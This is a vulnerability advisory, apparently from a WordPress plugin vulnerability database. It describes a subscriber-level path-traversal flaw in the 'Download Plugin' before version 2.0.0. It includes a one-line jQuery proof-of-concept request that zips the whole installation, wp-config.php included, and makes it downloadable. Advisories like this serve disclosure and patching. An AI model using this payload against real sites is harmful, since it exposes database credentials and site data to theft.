WordPress Plugin Vulnerabilities

Download Plugin < 2.0.0 - Subscriber+ Website Download

Description

The plugins does not properly validate a user has the required privileges to access a backup's nonce identifier, which may allow any users with an account on the site (such as subscriber) to download a full copy of the website.

Proof of Concept

PoC:
jQuery.post(ajaxurl,{
action:"dpwap_plugin_download_url",
pluginData:"..\\..\\..\\wordpress"
})

Warning: this will make a zip of the whole installation and takes a few minutes.

The result is available at https://example.com/wordpress.zip and the zip file contains all files under the installation directory including wp-config.php.

Affects Plugins

Fixed in 2.0.0

References

Classification

Type
TRAVERSAL
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
apple502j
Submitter
apple502j
Verified
Yes

Timeline

Publicly Published
2021-11-11 (about 2 years ago)
Added
2022-11-02 (about 1 years ago)
Last Updated
2022-11-02 (about 1 years ago)

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